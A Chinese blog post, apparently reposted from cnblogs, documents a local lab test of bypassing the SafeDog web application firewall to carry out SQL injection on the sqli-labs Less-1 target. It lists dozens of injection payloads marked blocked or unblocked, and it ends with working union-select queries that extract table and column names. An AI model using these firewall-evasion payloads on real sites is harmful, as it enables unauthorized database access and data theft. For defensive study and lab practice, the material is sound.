标签:0x7e Bypass MYSQL table 拦截 SafeDog id select schema
环境详情
采用本地搭建的最新版安全狗,仅用于学习交流,请勿用于实际环境
本地安装参考:解决本地安装安全狗
phpstudy: 2021版
网站安全狗: Apache V4.0.30255
靶场: sqli-labs-less1 (字符型注入)
打开安全狗,防护措施拉满,防御sql注入的也拉满
接下来开始我们的绕过
通用
and和or被拦截
--+ 不拦截
and 不拦截
and1 不拦截
and 1 拦截
and/*aaaa*/1拦截
and/*//*/1 不拦截
安全狗检测and和or是不会被拦截的,但是and空格,or空格会被拦截
?id=2 and1
?id=2 and 1
绕过方法是使用/*//*/
代替空格
联合查询
order by
order 不拦截
by 不拦截
orderby 不拦截
order /*!10440by*/ 拦截
order%0a%0aby拦截
/*!10000order*/%0a%0a/*!100440by*/拦截
orde/*//*/by 不拦截
安全狗过滤order by
也是order空格by
严格匹配,同样把空格换成/*//*/
就能绕过
union select
union 不拦截
select 不拦截
unionselect 拦截
+union --+1%0aselect 拦截
+union %23%0a+all+select+ 拦截
/*&id=-1'+union+select+1,2,3--+*/ 不拦截
+"/*" union select 1,2,3 "*/"--+ 不拦截
+'/*' union select 1,2,3 %23*/--+ 不拦截
union/*//*/select 拦截
/*!10440union*//*//*/select 拦截
union/*//*//*!10440select*/ 不拦截
/*!10440union*//*!10440select*/ 拦截
/*!10440union*//*//*//*!10440select*/ 不拦截
/*!10450union*//*//*//*!10440select*/ 不拦截
/*!10440union*//*aaaaaaaaa*/%0a/*!10440select*/拦截
获取数据库名
database()拦截
hex(database%0a())不拦截
hex(database/**/())不拦截
user()拦截
hex(user%0a()) 不拦截
hex(user/**/()) 不拦截
使用hacker的16进制解码就获取数据名和用户名了
获取表名
没有拦截?难道狗子觉得获取这个不重要
?id=-1'+'/*' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),3 %23*/--+
获取字段名
依旧没有拦截
?id=-1'+'/*' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),3 %23*/--+
获取数据
还是没有拦截, 那就别怪我偷家了
标签:0x7e,Bypass,MYSQL,table,拦截,SafeDog,id,select,schema 来源: https://www.cnblogs.com/Linkas/p/15327913.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。